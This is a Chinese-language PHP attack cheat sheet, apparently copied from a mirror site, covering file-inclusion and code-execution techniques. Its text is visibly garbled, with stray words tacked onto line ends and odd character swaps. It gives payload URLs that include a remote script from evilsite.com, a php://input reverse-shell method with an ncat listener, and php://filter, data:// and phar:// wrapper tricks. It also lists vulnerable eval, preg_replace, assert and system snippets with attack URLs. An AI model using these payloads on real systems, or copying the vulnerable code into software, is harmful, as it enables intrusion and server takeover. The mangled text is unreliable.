意思是可以打开并包含本地文件的漏洞。php
相关函数:include(), require(), include_once(), require_once(), file_get_contents()shell
漏洞代码:数组
<?php include($_GET[file]);?> //(须要allow_url_fopen=on 以及 allow_url_include=on)?我试了一下好像并不须要浏览器
当输入http://localhost/test.php?file=http:\\evilsite.com\evil_script.php,服务器就会evil_script.php中的代码。安全
好比说在evil_script.php中内容为<?php phpinfo();?>,就会显示服务器的phpinfo信息了。服务器
就算不是.php格式结尾的,例如.txt/.png也能够做为php代码来执行。session
1, php://伪协议: 访问各个输入/输出流curl
(1) php://input (须要allow_url_include=on)函数
经过post能够向服务器写数据,即服务器经过php://input来接受post数据。post
php的代码如上图所示,只需构造以下post命令,就能够产生一个反弹shell了。(若是是向远程服务器发送payload,localhost能够改为咱们本身的ip地址)
接着在本地ncat -l 1234监听以前在服务器使用的链接本地的端口,就能够对服务器进行命令操做了。
或者是当服务器的代码以下所示时,直接发送post参数system('...');也能够达到类似效果。
(2) php://filter (在双off的时候也可使用)
是一种元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写。简单来讲就是能够在执行代码前将代码换一个方式读取出来,由于只是读取因此不须要开启allow_url_include。能够读取源代码并使用base64编码输出。
使用方法:
php://filter/read=convert.base64-encode/resource=1.php(想要加载的代码)
我这里让2.php返回了同一个文件夹下边的1.php的代码。
2, data://伪协议 (allow_url_fopen=on | allow_url_include=on)
数据流封装器,和php://类似都利用了流的概念,将本来include()的文件流重定向到了用户可控制的输入流中,简单来讲就是执行文件的方法包含了你的输入流,经过你输入的payload来实现目的。
用法:
http://localhost/test/2.php?file=data://text/plain,<?php phpinfo(); ?>
3, phar
发现有一个文件上传功能,没法绕过,仅能上传jpg后缀的文件。与此同时,没法进行文件包含截断。allow_url_include=on 的状态下,就能够考虑phar伪协议绕过。
用法:?file=phar://压缩包/内部文件
HP反序列化相关漏洞总结[CVE-2016-712四、SugarCRM、session 反序列化、HITCON 2016]:
https://hellohxk.com/blog/php-deserialization/
1,eval
mixed eval(string $code)
将字符串做为命令执行。
<?php eval($_GET['a']);?>
访问http://xxxx/codeexec.php?a=phpinfo();
3,preg_repalce
mixed preg_replace(mixed $pattern, mixed $replacement, mixed $subject)
搜索subject中的pattern部分,并用replacement替换,当使用被弃用的 e 修饰符时, 这个函数会转义一些字符,在完成替换后,引擎会将结果字符串做为php代码使用eval方式进行评估并将返回值做为最终参与替换的字符串。
4,call_user_func
mixed call_user_func(callable $callback [, mixed $parameter ...)
第一个参数 callback 是被调用的回调函数,其他参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递。
访问http://xxxx/codeexec.php?func=assert¶=phpinfo()
5,call_user_func_array
mixed call_user_func_array(callable $callback , array $param_arr)
把第一个参数做为回调函数(callback)调用,把参数数组做(param_arr)为回调函数的的参数传入。
访问http://xxxx/codeexec.php?func=assert&arr[]=phpinfo()
6,create_function
string create_function(string $args, string $code)
该函数的内部实现用到了eval
,因此也具备相同的安全问题。第一个参数args
是后面定义函数的参数,第二个参数是函数的代码。
7,array_map
array array_map(callable $callback, array $array1 [...)
做用是为数组的每一个元素应用回调函数 。其返回值为数组,是为 array1 每一个元素应用 callback函数以后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,二者必须同样。
访问http://xxxx/codeexec.php?func=phpinfo
8, ob_start
bool ob_start(callback $output_callback)
可选参数 output_callback 函数能够被指定。 此函数把一个字符串看成参数并返回一个字符串。 当输出缓冲区被( ob_flush(), ob_clean() 或者类似的函数)冲刷(送出)或者被清洗的时候;或者在请求结束之际输出缓冲区内容被冲刷到浏览器的时候该函数将会被调用。 当调用 output_callback 时,它将收到输出缓冲区的内容做为参数 并预期返回一个新的输出缓冲区做为结果,这个新返回的输出缓冲区内容将被送到浏览器。
<?php
$cmd = 'system';
ob_start($cmd);
echo $_GET['a'];
ob_end_flush();
?>
访问http://xxxx/codeexec.php?a=whoami
9,执行系统命令函数
(1) system, passthru
string system(string $command)
void passthru(string $command)
用法<?php system("whoami");?>
(2) exec, shell_exec
string exec(string $command)
string shell_exec(string $command)
(3) pcntl_exec
void pcntl_exec(string $path [, array $args)
path是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本, args是一个要传递给程序的参数的字符串数组。
(4) popen
resource popen ( string $command , string $mode )
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 后面的mode,当为 ‘r’,返回的文件指针等于命令的 STDOUT,当为 ‘w’,返回的文件指针等于命令的 STDIN。
(5) ` 反单引号
在php中称之为执行运算符,PHP 将尝试将反引号中的内容做为 shell 命令来执行,并将其输出信息返回(即,能够赋给一个变量而不是简单地丢弃到标准输出,使用反引号运算符“`”的效果与函数 shell_exec() 相同。
<?php echo `whoami`;?>
show_source(__FILE__)能够打印出此页面的源码
print_r(scandir('./'))扫描当前目录
php伪协议:https://www.jianshu.com/p/0a8339fcc269
网站源码泄露:https://paper.tuisec.win/detail/655ba5d200c002d
php一句话检测绕过:https://xz.aliyun.com/t/2335